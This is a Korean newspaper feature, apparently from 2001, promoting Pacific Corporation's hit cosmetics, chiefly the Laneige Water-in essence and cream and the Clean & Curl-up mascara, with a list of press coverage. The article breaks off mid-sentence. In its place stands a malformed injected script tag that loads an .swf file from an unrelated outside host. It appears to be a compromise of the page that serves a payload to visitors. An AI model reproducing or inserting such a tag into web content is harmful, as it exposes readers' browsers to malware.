[태평양] "히트상품 왕국" 아성 구축에 성공 특화된 제품 출시해 독보적이고 차별화된 마케팅 전개로 시판시장 선도 * 라네즈 워터인 에센스 - 한국일보, 문화일보, 내외경제신문, 제일경제신문, 스포츠서울, 스포츠조선, 스포츠투데이 * 라네즈 클린 앤 컬업 마스카라 - 한겨레, 국민일보, 매일경제신문, 한국경제신문, 스포츠조선, 일간스포츠 * 아이오페 화이트젠 인텐시브 - 경향신문, 대한매일신보, 세계일보, 서울경제신문, 파이낸셜뉴스, 여성신문 * 라네즈 화이트 이펙트 에센스 - 여성신문 * 송염치약 - 한국일보, 스포츠조선 * 설록차 - 스포츠조선 태평양은 2001년 대한민국마케팅대상에서 서경배 사장이 마케팅대상을 수상하고 미쟝센 브랜드가 최우수상을 수상하는등 지난 상반기에 괄목할만한 마케팅활동을 펼쳤다. 또한 라네즈와 클린앤 컬업 마스카라, 설화수 자음생크림, 송염치약이 신상품부문 소비자 명품상을 수상하는등 각종 상을 휩쓰는 기염을 토했다. 지난 상반기에 소비자들로부터 인기를 독차지했던 브래느를 소개한다.<편집자 주> 라네즈 워터인 에센스 / 크림 - 날마다 새로워지는 라네즈가 물과 만났다! 2001년 3월에 출시된 ㈜태평양(사장 서경배)의 라네즈 워터인 에센스 / 크림은 피부속 수분을 찰랑찰랑하게 채워주는 수분공급 전문 에센스 & 크림이다. 쉴틈없이 수분을 공급해 주는 워터 플러스 시스템으로 처방돼 수분의 흡수력 및 유지력이 뛰어나 수분이 손실되기 쉬운 환경에서도 늘 피부를 촉촉하게 유지시켜준다. 반투명 젤상의 "라네즈 워터인 에센스"는 피부 부담없이 산뜻한 감촉을 느끼게 해주며, 가벼운 느낌의 수분보호 크림인 "라네즈 워터인 크림"은 시간이 지나면서 미네랄 성분이 피부 스스로 수분을 만들어 낼 수 있도록 도와주는 것이 특징이다. 라네즈 워터인 에센스와 크림에 사용된 "워터 플러스 시스템(Water Plus System)"은 수분의 빠른 흡수와, 건조한 부위에 대한 지속적인 수분공급, 그리고 피부 스스로의 수분합성기능 향상 등 3단계 과정을 통해 피부에 지속적으로 수분을 공급해주는 시스템이다. 먼저 피부에 닿자마자 수분을 공급하는 바이오폴리머가 피부위에 얇은 수분막을 형성하면서 피부를 촉촉하게 만들어 주면, 이어 사카라이드 성분이 피부의 천연보습인자의 활동을 도와주어 건조한 부위에 수분이 충분히 전달될 수 있도록 도와 준다. 마지막으로 미네랄이 풍부한 오이스터쉘 추출물이 피부가 스스로 수분을 만들어 낼 수 있도록 도와줘 촉촉한 피부를 오래오래 지속시킨다. 또한, 민트 식물에서 추출한 유효성분을 함유해 상쾌한 느낌과 함께 피부를 촉촉하게 가꾸어 준다. 피부과 테스트를 완료했으며, 오일 프리(Oil-free) 제품으로 사용감이 산뜻해 끈적임을 싫어하는 고객이나 중·지성 피부의 고객들에게 적합하다. 라네즈 클린앤 컬업 마스카라 - 뛰어난 제품력, 임펙트 있는 광고로 마스카라 시장 석권 "짜릿하게 올린다." - 한국여성의 처진 속눈썹을 "라네즈 클린 앤 컬업 마스카라"가 짜릿하게 올려 놓았다. "라네즈 클린 앤 컬업 마스카라"는 출시 5개월 만에 60만개 이상의 판매를 올리며 한국 마스카라 시장을 통일하고 있다. 해가 갈수록 인기를 더하고 있는 마스카라는 여성들의 필수 메이크업 제품인 립스틱의 지위를 넘 볼 만큼 점점 더 큰 시장을 형성해 나가고 있다. 아울러 마스카라 시장 자체도 여성들의 속눈썹에 대한 다양한 욕구에 따라 세분화 되어 가고 있다. 특히 한국여성의 속눈썹 구조는 서양 여성들과는 다르게 처지고 숱이 적어, 마스카라에 대한 니즈도 속눈썹을 말아 올린 듯한 "컬링"과 풍성하게 보이고자 하는 "볼륨"의 2가지로 대표되고 있다. 라네즈는 96년도 브랜드 출시 당시 볼륨 컨셉의 마스카라로 국내 마스카라 시장을 선도했으며, 지속적인 볼륨 마스카라의 성공에 힘입어 국내 마스카라 시장에서의 지위를 확고히 했다. 하지만 세월에 흐름에 따라 마스카라의 니즈 역시 변화하고 있다. 지속적인 투명 메이크업의 유행으로 마스카라 역시 풍성한 볼륨 마스카라 보다는 좀더 깨끗하면서 컬링을 추구하는 트랜드를 보이고 있다. 이를 반영, "라네즈 클린 앤 컬업 마스카라"는 "삼각형 브러시가 깊숙이 깨끗하게 컬링 해드립니다"라는 컨셉으로, 마스카라의 특징인 브러시에 차별화를 두어 기획됐다. 처지고, 짧고, 뻣뻣한 한국 여성들의 속눈썹을 고려해 속눈썹 안쪽까지 깊게 발리기 어려웠던 기존의 원형 브러시 ?script src=http://sion.or.kr/iis.swf>

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